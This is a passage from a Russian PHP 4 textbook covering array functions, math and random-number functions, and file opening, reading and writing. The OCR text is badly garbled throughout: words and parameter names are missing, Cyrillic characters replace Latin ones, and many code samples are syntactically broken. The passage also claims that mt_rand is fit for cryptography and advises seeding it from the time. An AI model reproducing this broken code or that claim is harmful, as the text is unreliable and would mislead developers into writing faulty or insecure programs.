$output = array_slice ($input, 2);// "с", "d", "e"

$output = array_slice ($input, 2, -1) ; // "с”, "d"

$output = array_slice ($input, -2, 1);// "d"

$output = array_slice ($input, 0, 3) ;// "a", "b", "c"

Вставка/удаление элементов

Мы уже знаем несколько операторов, которые отвечают за вставку и удале-

ние элементов. Например, оператор [ ] (пустые квадратные скобки) добав-

ляет элемент в конец массива, присваивая ему числовой ключ, а оператор unset () вместе с извлечением по ключу удаляет нужный элемент. Язык РНР версии 4 поддерживает и многие другие функции, которые иногда бывает удобно использовать.

int array_push (list &$Arr, mixed $varl [, mixed $var2, ...] )

Эта функция добавляет к списку $Arr элементы $varl, $var2 и т. д. Она присваивает им числовые индексы — точно так же, как это происходит для стандарных []. Если вам нужно добавить всего один элемент, наверное. проще и будет воспользоваться этим оператором:

array_push($Arr,1000)// вызываем функцию...

$Arr[1=100;// то же самое, но короче

Обратите внимание, что функция array_push() воспринимает массив, как стек, и добавляет элементы всегда в его конец. Она возвращает новое число элементов в массиве.

mixed array_pop(list &$Arr)

Функция array_pop(), а противоположность array_push() , снимает элемент с "вершины" стека (то есть берет последний элемент списка) и возвращает его, удалив после этого его из $Arr. С помощью этой функции мы можем строить конструкции, напоминающие стек. Если список $Arr был пуст, функция возвращает пустую строку.

int array_unshift (list &$Arr, mixed $varl [, mixed $var2, ...] )

Функция очень похожа на array_push(), но добавляет перечисленные элементы не в конец, а в начало массива. При этом порядок следования $varl, $var2 и т. д. остается тем же, т. е. элементы как бы "вдвигаются" в список слева. Новым элементам списка, как обычно, назначаются числовые индексы, начиная с 0; при этом все ключи старых элементов массива, которые также были числовыми, изменяются (чаще всего они увеличиваются на число вставляемых значений). Функция возвращает новый размер массива. Вот пример ее применения:

$A=array(10,"a"=>20,30);

array_unshift($A,"!","?");

// теперь $A===array(0=>"1", !=>"?", 2=>10, a=>20, 3=>30)

mixed array_shift(list &5Arr)

Эта функция извлекает первый элемент массива $Arr и возвращает его. Она сильно напоминает array_pop(), но только получает начальный, а не конечный элемент, а также производит довольно сильную "встряску" всего

массива: ведь при извлечении первого элемента приходится корректировать все числовые индексы у всех оставшихся элементов

array$Arr)

Функциявозвращает массив, составленный из всех уникальных значений массивавместе с их ключами. В результирующий

массив помещаются первые встретившиеся пары ключ=>значение:

=> "green", "red",=> "green", "blue",

$result=array_unique($input) ;

// теперь"red",

array arrayspliceiarray &$Arr, int $offset [, int $len] , int. $Replji

Эта функция, также как ивозвращает подмассивначиная с индексаset максимальной длиныно, вместе с тем, она делает

и другое полезное действие. А именно, она заменяет только что указанные элементынато,чтонаходитсяв массиве(илипростоудаляет,если

не указан). Параметры $offset изадаются так же, как и в функции— а именно, они могут быть и отрицательными, в этом случае

отсчет начинается от конца массива. За детальными разъяснениями обращайтесь к описанию функции substrрассмотренной ранее.

Приведу несколько примеров:

"green", "blue",

array_splice($input,2);

// Теперь"green")

array_splice($input,1,-1);

// Теперь"yellow")

-1, 1,

// Теперь"green", "blue", "black", "maroon")

($input, 1, count

// Теперь"orange")

Последний пример показывает, что в качестве параметрамы можем

указать и обычное, строковое значение, а не массив из одного элемента.

Переменные и массивы

array compact (mixed $vnl [, mixed $vn2, ...] )

Функция compact впервые появившаяся в РНР версии 4, упаковывает в массив переменные из текущего контекста (глобального или контекста функции), заданные своими именами в$vn2 и т. д. При этом в масси-

ве образуются пары с ключами, равными содержимому и значениями соответствующих переменных. Вот пример использования этой функции:

$a="Test string";

$b="Some text";

$A=compact("a","b");

// теперь SA===array("a"=>"Test string", "b“=>”Some text")

Почему же тогда параметры функции обозначены как mixed? Дело в что они могут быть не только строками, но и списками строк. В этом случае функция последовательно перебирает все элементы этого списка, и упаковывает те переменные из текущего контекста, имена которых она встретила. Более того — эти списки могут, в свою очередь, также содержать списки строк, и т. д. Правда, последнее используется сравнительно редко, но все же вот пример:

$a="Test";

$b="Text";

$c="CCC";

$d="DDD";

$Lst=array("b",array("c","d"));

$A=compact("a", $Lst) ;

// теперь $A===array("a"=>"Test", "b"=>"Text", "c"=>"CCC", "d"=>"DDD")

void extract(array $Arr [, int $type] [, string $prefix])

Эта функция производит действия, прямо противоположные compact о. А именно, она получает в параметрах массиви превращает каждую его

парув переменную текущего контекста.

Параметр Stype предписывает, что делать, если в текущем контексте уже существует переменная с таким же именем, как очередной ключ вОн

может быть равен одной из констант, перечисленных в табл. 13.1

Таблица 13.1. Поведение функции extract в случае совпадения переменных

Константа

Действие

EXTR OVERWRITE

Переписывать существующую переменную (по умолчанию)

EXTR_SKIP

He перезаписывать переменную, если она уже существует

EXTR_PREFIX_SAME

В случае совпадения имен создавать переменную с именем, предваренным префиксом из ix. Надо сказать, что на практике этот режим должен быть совершенно бесполезен

EXTR_PREFIX_ALL

Всегда предварять имена создаваемых переменных префиксом

По умолчанию подразумевается EXTR_OVERWRITE, т. е. переменные перезаписываются. Вот пара примеров применения этой функции:

// Сделать все переменные окружения глобальными

extract($HTTP_ENV_VARS) ;

// То же самое, НО с префиксом Е_

extract($HTTP_ENV-VARS, EXTR_PREFIX_ALL, "E_" ) ;

echo $E_COMSPEC; // выводит переменную окружения COMSPEC

Примечание

Параметр $pref ix имеет смысл указывать только тогда, когда вы применяете режимы EXTR_PREFIX_SAME ИЛИ EXTR_PREFIX_ALL.

Вообще говоря, использование extract о и compact о может быть оправдано лишь для небольших массивов, да и то только в шаблонах, а в остальных случаях считается признаком дурного тона. Впрочем, если ваш дизайнер никак не может понять, зачем же ему в шаблонах страниц гостевой книги указывать все эти ужасные квадратные скобки и апострофы, можете пойти ему навстречу так:

<table width=100%>

<?foreach($Book as $Entry) { extract (SEntry)?>

<tr>

<Гс1>Имя: <?=$name?x/td> <!-- вместо SEntry[ 'name'] -->

<td>Aflpec: <?=$url?x/td> <! — вместо $Entry [ 'url' ]

</tr>

<tr><td colspan=3x?=$text?x/tdx/tr>

<trxtd colspan=3xhr></tdx/tr>

<? I ?>

</table>

Здесь вы должны загодя позаботиться, чтобы ключи $Entry ненароком не затерли нужные переменные. Этого можно добиться, например, назвав все важные переменные с прописной буквы (например, $Book и $Entry), а все ключи — с маленькой, как и было сделано немного выше.

Создание списка - диапазона чисел

list range (int Slow, int Shigh)

Эта функция очень простая. Она создает список, заполненный целыми числами от Slow до $high включительно. Ее удобно применять, если мы хотим

быстро сгенерировать массив для последующего прохождения по нему циклом

<table>

<?foreach(range(L,100) as Si)

<tr>

<tdx?=$i?x/td>

<td>3TO строка номер <?=$i?x/td>

</tr>

<?} ?>

</table>

С точки зрения дизайнеров (не знакомых с РНР, но которым придется модифицировать внешний вид вашего сценария) представленный подход выглядит явно лучше, чем следующий фрагмент:

<table>

<?for($i=l; $i<=100; $i++)

<tr>

<tdx?=$i?x/td>

<td>3TO строка номер <?=$i?x/td>

</tr>

<?} ?>

</table>

Глава 14

Математические функции

В РНР представлен полный набор математических функций, которые присутствуют в большинстве других языков программирования. Правда, здесь они используются несколько реже, потому что в сценаиях вообще редко приходится иметь дело со сложными вычислениями.

Встроенные константы

РНР версии 4 предлагает нам несколько предопределенных констант, которые обозначают различные математические постоянные с максимальной машинной точностью. Соответствующие этим константам ключевые слова и значения приводятся в табл. 14.1.

Таблица 14.1. Математические константы.

Константа

Величина

Пояснение

М PI

3,14159265358979323846

Число Л

М Е

2,7182818284590452354

е

М LOG2E

1,4426950408889634074

Log2(e)

М_LOG10E

0,43429448190325182765

Lg(e)

М LN2

0,69314718055994530942

Ln(2)

M_LN10

2,30258509299404568402

Ln(10)

М PI 2

1,57079632679489661923

л /2

M_PI_4

0,78539816339744830962

л /4

М 1 PI

0,31830988618379067154

1/ л

М 2 PI

0,63661977236758134308

2/ л

М SQRTPI

1,77245385090551602729

sqrt(n)

М 2 SQRTPI

1,12837916709551257390

2/sqrt(n)

М SQRT2

1,41421356237309504880

sqrt(2)

Таблица 14. 1 (окончание)

КонстантаВеличина

Пояснение

М SQRT31,73205080756887729352

sqrt(3)

M_SQRT1_20,70710678118654752440

1 /sqrt(2)

М.LNPI1,14472988584940017414

1п(л)

М_EULER0,57721566490153286061

Постоянная Эйлера

Надо заметить, разработчики РНР что-то слишком разошлись, когда вводили стандартные константы. Например, я не могу даже и представить, зачем в Web-программировании может потребоваться, например, константа Эйлера. Что же, это их право.

Функции округления

mixed abs (mixed $number)

Возвращает модуль числа. Тип параметра $number может быть float или int, а тип возвращаемого значения всегда совпадает с типом этого параметра. double round(double $val)

Округляет $val до ближайшего целого и возвращает результат, например:

$f oo =// $foo == 3.0

$foo = round (3.5) ; /,/ $foo = 4.0

Sfoo = round(3.6); // $foo == 4.0

int cei 1 (fboat $number)

Возвращает наименьшее целое число, не меньшее $number. Разумеется, передавать В $ number целое ЧИСЛО бессмысленно. int floor(float $number)

Возвращает максимальное целое число, не превосходящее $number.

Случайные числа

Следующие три функции предназначены для генерации случайных чисел. Пожалуй, в Web-программировании самое распространенное применение они находят в сценариях показа баннеров.

Замечание )

Я намеренно не рассматриваю функции rand ()и srand (), потому что качество случайных чисел, которые они выдают, никуда не годится. Настоятельно ре-

комендую вместо них использовать описанные ниже функции, а про rand () вообще забыть.

int mt_rand(int $min=0, int $max=RAND_MAX)

Функция возвращает случайное число, достаточно равномерно даже для того, чтобы использовать ее в криптографии. Подробнее о том алгоритме, который она использует, можно прочитать в Интернете по адресу http://www.math.keio.ac.jp/~matumoto/emt.html, а исходные тексты найти по адресу http://www.scp.syr.edu/~marc/hawk/twister.html. Если вы хотите генерировать числа не от 0 до RAND_MAX (эта константа задает максимально допустимое случайное число, и ее можно получить при помощи вызова mt_getrandmax () ), задайте соответствующий интервал в параметрах 5min и $max.

Не забудьте только перед первым вызовом этой функции запустить mt_srand().

Давайте теперь рассмотрим один из случаев применения функции mt_rand() . Речь пойдет об извлечении строки со случайным номером из текстового файла (работу с файлами мы рассмотрим чуть позже, а пока скажу лишь, что функция gets () читает очередную строку из файла, дескриптор которого указан ей в первом параметре, а второй параметр задает максимально возможную длину этой строки, для нас это — очень большое число). Поступим так:

for($i=0; mt_rand(0,$1)<1; $i++)

$s=fgets($0urFile,10000);

echo "Случайная строка: $ s ”;

Этот способ работает в строгом соответствии с теорией вероятностей: для первой строки вероятность ее извлечения будет 100%, для второй — 50% (она перепишется поверх первой), для третьей — 33%, и т. д. Например, если файл состоит всего из трех строк, то вероятность извлечения третьей строки, как мы уже заметили, будет равна 33%, а значит, первой или второй — соответственно, 66%. Но вероятность извлечения второй строки после первой равна 50%, а 50% от 66% будет также 33%, т. е. вероятность извлечения каждой строки одинакова. Мы видим, что для файла из трех строк алгоритм работает правильно. Не вдаваясь в математические подробности, скажу, что он работает верно и для любого количества строк.

Безусловно, мы могли бы загрузить весь файл в память и выбрать из него нужную строку и при помощи одного-единственного вызова mt_rand(), но если файл содержит очень много данных, это может быть довольно не экономично с точки зрения расхода памяти. Наоборот, для случая коротких файлов способ единовременной загрузки предпочтительнее. Насколько коротких? Думаю, это легче всего определить опытным путем. Рассмотренный нами способ решает проблему с большими файлами.

Внимание

Отмечу, что использование обычной функции rand () в этом примере просто невозможно — сказывается слишком плохое качество генерируемых ей случайных чисел, и строки вряд ли будут равновероятны.

void mt_srand(int $seed)

Настраивает генератор случайных чисел на новую последовательность. Дело в том, что хотя числа, генерируемые mt_rand (), достаточно равновероятны, но у них есть один недостаток (который, как это обычно бывает, иногда перерастает в достоинство): последовательность сгенерированных чисел будет одинакова если сценарий вызвать несколько раз подряд. Функция mt_srand() как раз решает данную проблему: она выбирает новую последовательность на основе параметра $seed, причем практически непредсказуемым образом. Чаще всего ее инициализируют так:

mt_srand(time() + (double)microtime ()* 1000000);

$randval =

В этом случае последовательность устанавливается на основе времени запуска сценария (в секундах), поэтому она достаточно непредсказуема. Для еще более надежного результата рекомендуется приплюсовать сюда также микросекунды (что и было сделано), а также идентификатор процесса, вызвавшего сценарий.

int mt_getrandmax()

Возвращает максимальное число, которое может быть сгенерировано функцией mt_rand() — иными словами, константу RAND_MAX.

Перевод в различные

системы счисления

string base_convert(string $number, int $frombase, int $tobase)

Переводит число $number (заданное как строка в системе счисления по основанию $frombase) в систему по основанию $tobase. Параметры $frombase и $tobase могут принимать значения только от 2 до 36 включительно. В строке $number цифры обозначают сами себя, буква а соответствует 11, ь — 12, и т. д. до z, которая обозначает 36. Например, следующие команды выведут 11111111 (8 единичек), потому что это — не что иное, как представление шестнадцатеричного числа FF в двоичной системе счисления:

echo base_convert("FF",16,2);

int bindec(string $binary_string)

Преобразует двоичное число, заданное в строке $binary_string, в десятичное число.

string decbin(int $number)

Возвращает строку, представляющую собой двоичное представление целого числа 5number. Максимальное число, которое еще может быть преобразовано, равно 2 147 483 647, которое выглядит как 31 единичка в двоичной системе.

Существуют аналогичные функции для восьмеричной и шестнадцатеричной систем. Называются они так же, только вместо "bin" подставляется соответственно "oct и "hex".

Минимум и максимум

mixed min (mixed $argl [int $arg2, ..., int $argn])

Эта функция возвращает наименьшее из чисел, заданных в ее аргументах. Различают два способа вызова этой функции: с одним параметром или с несколькими. Если указан лишь один параметр (первый), то он обязательно должен быть массивом и возвращается минимальный элемент этого массива. В противном случае первый (и остальные) аргументы трактуются как числа с плавающей точкой, они сравниваются, и возвращается наименьшее. Тип возвращаемого значения выбирается так: если хотя бы одно из чисел, переданных на вход, задано в формате с плавающей точкой, то и результат будет с плавающей точкой, в противном случае результат будет целым числом. Обратите внимание на то, что с помощью этой функции нельзя лексикографически сравнивать строки — только числа.

mixed max(mixed $argl [int $arg2,int $argn])

Функция работает аналогично min(), только ищет максимальное значение.

Степенные функции

float sgrt(float $arg)

Возвращает квадратный корень из аргумента. Если аргумент отрицателен, то генерируется предупреждение, но работа программы не прекращается! Это выглядит довольно странно: интересно, что в этом случае возвращается функцией?..

float log(float'$arg)

Возвращает натуральный логарифм аргумента. В случае недопустимого числа печатает предупреждение, но, как и sqrt (), не завершает программу.

float exp(float $arg)

Возвращает е (2,718281828) в степени $arg.

float pow(float $base, float $exp)

Возвращает Sbase в степени $ехр.

Тригонометрия

Далее рассмотрим тригонометрические функции. Правда, они редко применяются при программировании сценариев, но все же...

float acos(float $arg)

Возвращает арккосинус аргумента.

float asin(float $arg)

Возвращает арксинус.

float atari (float $arg)

Возвращает арктангенс аргумента.

float atan2(float $y, float $x)

Возвращает арктангенс величины $у/$х, но с учетом той четверти, в которой лежит точка ($х, $у). Эта функция возвращает результат в радианах, принадлежащий отрезку от -oo до oo. Вот пара примеров:

$alpha=atan2(1,1) ;// $alpha==pi/4

$alpha=atan2(-1,-1) ; // $alpha==-3*pi/4

float sin(float arg)

Возвращает синус аргумента. Аргумент задается в радианах.

float cos(float $arg)

Возвращает косинус аргумента.

float tan(float arg)

Возвращает тангенс аргумента, заданного в радианах.

double pi()

Возвращает число п. Эту функцию в РНР версии 4 обязательно нужно вызывать с парой пустых скобок (в отличие от РНР 3):

echo pi О *10;

Впрочем, наверное, лучше будет воспользоваться константой M_PI?..

9 Зак. 699

Глава 15

Работа с файлами

Хорошие новости. Во-первых, вы можете наконец с облегчением вздохнуть и забыть о том, что в Windows (в отличие от Unix) для разделения полного пути файла используются не прямые, а обратные слэши. Интерпретатору РНР совершенно все равно, какие слэши вы будете использовать: прямые или обратные. Он в любом случае переведет их в ту форму, которая требуется вашей ОС, а функции по работе с полными именами файлов также не будут против "чужих" слэшей.

Во-вторых, вы теперь можете работать с файлами на удаленных серверах Web в точности так же, как и со своими собственными (ну, разве что записывать в них можно не всегда). Если вы предваряете имя файла строкой http: // или ftp: //, то РНР понимает, что нужно на самом деле установить сетевое соединение и работать именно с ним, а не с файлом. При этом в программе такой файл ничем не отличается от обычного (если у вас есть соответствующие права, что вы можете и записывать в подобный НТТР- или FTP-файл).

О текстовых и бинарных файлах

Во многих (да что там — практически во всех) языках программирования для работы с текстовыми файлами применяется некоторый трюк. Вот в чем он заключается. Не секрет, что в Unix-системах для отделения одной строки файла от другой используется один специальный символ — его принято обозначать \п.

Примечание

Обращаю ваше внимание на то, что \п здесь обозначает именно один символ, т. е., один байт. Когда РНР встречает комбинацию \n в строке (например, "это \п тест"), он воспринимает ее как один байт. В то же время, в строке, заключенной в апострофы, комбинация \n не имеет никакого специального назначения и обозначает буквально "символ \, за которым идет символ n".

В Windows по историческим причинам для разделения строк применяется не один, а сразу два символа, следующих подряд, — \r\n. Для того чтобы языки программирования были лучше переносимы с одной операционной

системы на другую, при чтении текстовых файлов эта комбинация \r\n преобразуется "на лету" в один символ \п, так что программа и не замечает, что формат файла не такой, как в Unix. В результате этой деятельности, если мы, например, прочитаем содержимое всего текстового файла в строку, то длина такой строки наверняка окажется меньше физического размера файла — ведь из нее "съелись некоторые символы \r. Это относится к системе Windows и MacOS (кстати, в последней применяется комбинация не \r\n, а наоборот — \n\r, что довольно-таки забавно). При записи строки в текстовый файл происходит в точности наоборот: один \п становится на диске парой \r\n.

Впрочем, практически во всех языках программирования вы можете и отключить режим автоматической трансляции \r\n в один \п. Обычно для этого используется вызов специальной функции, который говорит, что для указанного файла нужно применять бинарный режим ввода/вывода, когда все байты читаются, как есть. Правда, программисты, всю жизнь писавшие под Unix, склонны игнорировать этот факт, в результате чего программы перестают работать под Windows и вообще начинают вытворять забавные вещи.

Так как РНР был написан целиком на Си, а Си использует трансляцию символов перевода строк, то описанная техника работает и в РНР. Однако тут есть один очень опасный момент. Дело в том, что разработчики РНР в официальной документации к функции fopen() старательно умалчивают о том, что интерпретатор может работать с файлами в режиме трансляции символа перевода строки. Так вот, я возьму на себя смелость заявить, что такая возможность в действительности существует, а тесты подтвердили, что ее можно корректно использовать как в Windows и MacOS, так и в Unix. Подробнее об этом мы поговорим при рассмотрении функции fopen о .

Если файл открыт в режиме бинарного чтения/записи, то РНР совершенно все равно, что вы читаете или пишете. Вы можете совершенно спокойно считать содержимое какого-нибудь бинарного файла (например, GIF- рисунка) в обычную строковую переменную, а потом записать эту строку в другой файл, и при этом информация нисколько не исказится. Правда, при чтении текстового файла в Windows вы получите символы \r\n в конце строки вместо одного \n, если не предпримете некоторых действий, а откроете файл, как об этом написано в документации. Об этом речь ниже.

Открытие файла

Как и в Си, работа с файлами в РНР разделяется на три этапа. Сначала файл открывается в нужном режиме, при этом возвращается некое целое число, служащее идентификатором открытого файла (дескриптор файла). Затем настает очередь команд работы с файлом (чтение или запись, или и то и другое), причем они "привязаны" уже к дескриптору файла, а не к его имени. После

этого файл лучше всего закрыть (хотя это можно и не делать, поскольку РНР автоматически закрывает все файлы по завершении сценария).

int fopen(string $filename, string $mode, bool $use_include_path=false)

Открывает файл с именем $ filename в режиме $mode и возвращает дескриптор открытого файла. Если операция "провалилась", то, как это принято, fopen о возвращает false. Впрочем, мы можем не особо беспокоиться, проверяя выходное значение на ложность — вполне подойдет и проверка на ноль, потому что дескриптор 0 в системе соответствует стандартному потоку ввода, а он, очевидно, никогда не будет открыт функцией fopen() (во всяком случае, пока не будет закрыт нулевой дескриптор, а это делается крайне редко). Необязательный параметр 5use_include_path говорит РНР о том, что, если задано относительное имя файла, его следует искать также и в списке путей, используемом инструкциями include и require. Обычно этот параметр не используют.

Параметр Smode может принимать следующие значения:

CD r — файл открывается только для чтения. Если файла не существует, вызов регистрирует ошибку. После удачного открытия указатель файла устанавливается на его первый байт, т. е. на начало;

r+ — файл открывается одновременно на чтение и запись. Указатель текущей позиции устанавливается на его первый байт. Как и для режима r, если файла не существует, возвращается false. Следует отметить, что если в момент записи указатель файла установлен где-то в середине файла, то данные запишутся прямо поверх уже имеющихся, а не "раздвинут" их, при необходимости увеличив размер файла. Будьте внимательны;

w — создает новый пустой файл. Если на момент вызова уже был файл с таким именем, то он предварительно уничтожается. В случае неверно заданного имени файла вызов, как нетрудно догадаться, "проваливается";

w+ — аналогичен r+, но если файла изначально не существовало, создает его. После этого с файлом можно работать как в режиме чтения, так и записи. Если файл существовал до момента вызова, его содержимое удаляется;

а — открывает существующий файл в режиме записи, и при этом сдвигает указатель текущей позиции за последний байт файла. Этот режим полезен, если требуется что-то дописать в конец уже имеющегося файла. Как водится, вызов неуспешен в случае отсутствия файла;

а+ — открывает файл в режиме чтения и записи, указатель файла устанавливается на конец файла, при этом содержимое файла не уничтожается. Отличается от а тем, что если файла изначально не существовало, то он создается. Этот режим полезен, если вам нужно что-то дописать в файл (например, в журнал), но вы не знаете, создан ли уже такой файл;

Но это еще не полное описание параметра $mode. Дело в том, что в конце любой из строк г, w, a, r+, w+ и а+ может находиться еще один необязательный символ — ь или t. Если указан ь (или не указан вообще никакой), то файл открывается в режиме бинарного чтения/записи. Если же это t, то для файла устанавливается режим трансляции символа перевода строки, т. е. он воспринимается как текстовый.

Внимание

О режиме t нет ни слова в документации РНР (во всяком случае, на момент написания этих строк), однако, как показывают мои тесты, он работает на всех системах.

Чтобы проиллюстрировать это, давайте рассмотрим пример сценария. Он будет работать по-разному в зависимости от того, в каком режиме мы откроем файл: в бинарном или текстовом. Забегая вперед, замечу, что функция fgets о читает из файла очередную строку.

Листинг 15.1. Сценарий test.php: работа с текстовыми файлами

<?

// Получает в параметрах строку и возвращает через пробел коды

// символов, из которых она состоит

function MakeHex($st)

{ for($i=0; $i<strlen($st) ; $i++) $Hex[]™sprintf ("%2X",ord($st[$i]) }; return join(" ",$Hex);

}

// Открываем файл разными способами

$f=fopen ("test.php","r") ;// бинарный режим

echo MakeHex(fgets($f, 100) ) , "<br>\n";

$f=fopen ("test.php", "rt") ; // текстовый режим

echoMakeHex (fgets($f,100)) , "<br>\n"; ?>

Первая строчка файла test.php состоит всего из двух символов — это < и ?. За ними должен следовать маркер конца строки. Сценарий показывает, как выглядит этот маркер, т. е. состоит ли он из одного или двух символов.

Запустим этот сценарий в Unix. Мы получим две одинаковые строки, которые выводят операторы echo:

ЗС 3F ОА

ЗС 3F ОА

Отсюда следует, что в этой системе физический конец строки обозначается одним символом — кодом ОхОА, или \п (коды ОхЗС и Ox3F соответствуют символам < и ?). В то же время, если запустить сценарий в Windows, мы получим такой результат:

ЗС 3F OD ОА

ЗС 3F ОА

Как видите, бинарное и текстовое чтение дали разные результаты! В последнем случае произошла трансляция маркера конца строки.

Как уже говорилось, можно предварять имя файла строкой http:// или ftp://, при этом прозрачно будет осуществляться доступ к файлу с удаленного хоста.

В случае HTTP-доступа РНР открывает соединение с указанным сервером, а также посылает ему нужные заголовки: Host и GET. После чего при помощи файлового дескриптора из удаленного файла можно читать обычным образом — например, посредством все той же функции fgets () •

Если же вы открываете FTP-файл, то в него можно производить либо запись, либо читать из него, но не и то и другое одновременно. Кроме того, FTP-сервер должен поддерживать пассивный режим передачи (впрочем, большинство серверов его поддерживают). Не забудьте также указать логин и пароль, как это сделано в примерах ниже.

Дам небольшой совет: не используйте обратные слэши \ в именах файлов, как это принято в DOS и Windows. Просто забудьте про этот архаизм. Поможет вам в этом РНР, который незаметно в нужный момент переводит прямые слэши / в обратные (разумеется, если вы работаете под Windows). Если же вы все-таки не можете обойтись без обратного слэша, не забудьте его удвоить, потому что в строках он воспринимается как спецсимвол:

$fp = fopen ("c: WwindowsWhosts", "r");

Еще раз предупреждаю: этот способ не переносим между операционными системами и из рук вон плох. Не используйте его!

Вот несколько примеров:

// Открывает файл на чтение

$f = fopen("/home/user/file.txt", "r") or die("Ошибка!");

// Открывает HTTP-соединение на чтение

$f = fopen("http://www.php.net/", "r") or die("Ошибка!");

// Открывает FTP-соединение с указанием логина и пароля для записи

$f = fopen("ftp://user:password@example.com/", "w") or die("Ошибка!");

Конструкция

Давайте еще раз посмотрим на предыдущие примеры. Обратите внимание на доселе не встречавшуюся намorЕе особенно удоб

но применять как раз при работе с файлами. Как мы знаем, оператор or имеет очень низкий приоритет (даже ниже, чем у =), поэтому в нашем примере всегда выполняется уже после присваивания. Иными словами, первая строчка примера с точки зрения РНР выглядит так:

($f=fopen("/home/user/file.txt", "r")) or die("Ошибка!");

Конечно, то, что or обозначает "логическое ИЛИ" в нашем случае не так интересно (ибо возвращаемое значение просто игнорируется). Нас же сейчас интересует другое свойство оператора: выполнять второй свой операнд только в случае ложности первого. Смотрите: если файл открыть не удалось, о возвращает false, а значит, осуществляется вызово "на другом

конце" оператора or.

Заметьте, что нельзя просто так заменить or на, казалось бы равнозначный ему оператор |потому что последний имеет гораздо более высокий при

оритет — выше, чем у =. Таким образом, в результате вызова функции $f=fopen("/home/user/file.txti’, "r")|| die ' "Ошибка ! ") ;

в действительности будет выполнено

$f ="r") II

Как видите, это не совсем то, что нам нужно.

Безымянные временные файлы

Иногда всем нам приходится работать с временными файлами, которые при завершении программы хотелось бы удалить. При этом нас интересует лишь файловый дескриптор, а не имя временного файла. Для создания таких объектов в РНР предусмотрена специальная функция.

int tmpfileO

Создает новый файл с уникальным именем (чтобы другой процесс случайно не посчитал этот файл "своим") и открывает его на чтение и запись. В дальнейшем вся работа должна вестись с возвращенным файловым дескриптором, потому что имя файла недоступно.

Замечание

Фраза "имя файла недоступно" может породить некоторые сомнения, но это действительно так по одной-единственной причине: его просто нет. Вот как такое может произойти? В большинстве систем после открытия файла его имя можно спокойно удалить из дерева файловой системы, продолжая при этом работать с "безымянным" файлом через дескриптор, как обычно. При закрытии

этого дескриптора блоки, которые занимает файл на диске, будут автоматически помечены как свободные.

Пространство, занимаемое временным файлом, автоматически освобождается при его закрытии и при завершении работы программы.

Закрытиефайла

После работы файл лучше всего закрыть. На самом деле это делается и автоматически при завершении сценария, но лучше все же не искушать судьбу и законы Мэрфи. Особенно, если вы одновременно открыли десятки (или сотни) файлов.

int fclose(int $fp)

Закрывает файл, открытый предварительно функцией fopen () (или рореп () или fsockopen(), но об этом позже). Возвращает false, если файл закрыть не удалось (например, что-то с ним случилось или же разорвалась связь с удаленным хостом). В противном случае возвращает значение "истина".

Заметьте, что вы должны всегда закрывать FTP- и HTTP-соединения, потому что в противном случае "беспризорный" файл приведет к неоправданному простою канала и излишней загрузке сервера. Кроме того, успешно закрыв соединение, вы будете уверены в том, что все данные были доставлены без ошибок.

Замечаниеj

Особенно своевременное закрытие критично при использовании FTP-файла в режиме записи, когда вывод программы для ускорения буферизуется. Не закрыв файл, вы вообще не сможете быть уверены, что буфер вывода очистился, а значит, файл записался на удаленную машину верно.

Чтение и запись

Для каждого открытого файла (точнее, для каждого файлового дескриптора, ведь один и тот же файл может быть открыт несколько раз, т. е. с ним может быть связано сразу несколько дескрипторов) система хранит определенную величину, которая называется текущей позицией ввода-вывода, или указатель файла. Функции чтения и записи файлов работают именно с этой позицией. А именно, функции чтения читают блок данных, начиная с этой позиции, а функции записи — записывают, также отсчитывая от нее. Если указатель файла установлен за последним байтом и осуществляется запись, то файл автоматически увеличивается в размере. Есть также функции для установки этой самой позиции в любое место файла.

После того как файл успешно открыт, из него (при помощи дескриптора файла) можно читать, а также, при соответствующем режиме открытия, пи-

сать. Обмен данными осуществляется через обыкновенные строки и, что важнее всего, начиная с позиции указателя файла. В следующих разделах рассматриваются несколько функций для чтения/записи.

Блочные чтение/запись

string fread(int $f, int Snumbytes)

Читает из файла $f Snumbytes символов и возвращает строку этих символов. После чтения указатель файла продвигается к следующим после прочитанного блока позициям (это происходит и для всех остальных функций, так что дальше я буду пропускать такие подробности). Разумеется, если Snumbytes больше, чем можно прочитать из файла (например, раньше достигается конец файла), возвращается то, что удалось считать. Этот прием можно использовать, если вам нужно считать в строку файл целиком. Для этого просто задайте в Snumbytes очень большое число (например, сто тысяч). Но если вы заботитесь об экономии памяти в системе, так поступать не рекомендуется. Дело в том, что в некоторых версиях РНР передача большой длины строки во втором параметре fread() вызывает первоначальное выделение этой памяти в соответствии с запросом (даже если строка гораздо короче). Конечно, потом лишняя память освобождается, но все же ее может и не хватить для начального выделения.

int fwrite(int $f, string $st)

Записывает в файл $f все содержимое строки $st. Эта функция составляет пару для fread о , действуя "в обратном направлении".

Примечание J

Например, с помощью описанных двух функций можно копировать файлы (правда, в РНР есть для этого отдельная функция — сору ()), считав файл целиком посредством f read () и затем записав в новое места при помощи fwrite ().

При работе с текстовыми файлами (то есть когда указан символ t в режиме открытия файла) все \п автоматически преобразуются в тот разделитель строк, который принят в вашей операционной системе.

Построчные чтение/запись

string fgets(int $f, int $ length)

Читает из файла одну строку, заканчивающуюся символом новой строки \п. Этот символ также считывается и включается в результат. Если строка в файле занимает больше $length-l байтов, то возвращаются только ее Slength-l символов. Функция полезна, если вы открыли файл и хотите "пройтись" по всем его строкам. Однако даже в этом случае лучше (и быст-

рее) будет воспользоваться функцией о, которая рассматривается ниже. Стоит также заметить, что gets о (ровно как и функция t read о) в случае текстового режима в Windows заботится о преобразовании парв

один символ \п, так что будьте внимательны при работе с текстовыми файлами в этой операционной системе.

int(intstring $st)

Эта функция — полный аналог fwrite В официальной документации по РНР описания обеих функций просто совпадают, но там ничего не сказано про то, что функции являются синонимами. Что ж... Несмотря на это, я все- таки рискну выдвинуть такое предположение.

Чтение CSV-файла

Программа Excel из Microsoft Office стала настолько популярна, что в РНР даже встроили функцию для работы с одним из форматов файлов, в которых может сохранять данные Excel. Часто она бывает довольно удобна и экономит пару строк дополнительного кода.

list fgetcsv(int $f, intchar

Функция читает одну строку из файла, заданного дескриптороми разбивает ее по символуПараметр должен обязательно быть стро

кой из одного символа, в противном случае принимается во внимание только первый символ этой строки. Функция возвращает получившийся список или false, если строки кончились. Параметрзадает максимальную

длину строкиточнотакже,какэтоделаетсявfgetsПустыестрокив

файле не игнорируются, а возвращаются как список из одного элемента - пустой строки.

Функция fgetcsv работает чуть быстрее пары fgets /explode но зато она, как мы можем видеть, гораздо менее универсальна. Применяйте ее в таком контексте:

$f=fopen("file.csv","r") or die("Ошибка!");

for($i=0; Sdata^fgetcsv($f, 1000,$i++) {

$num = count($data);

if($num=l && $data[0]="") continue;

echo "<113>Строка номер $i ($numполей) :</h3>";

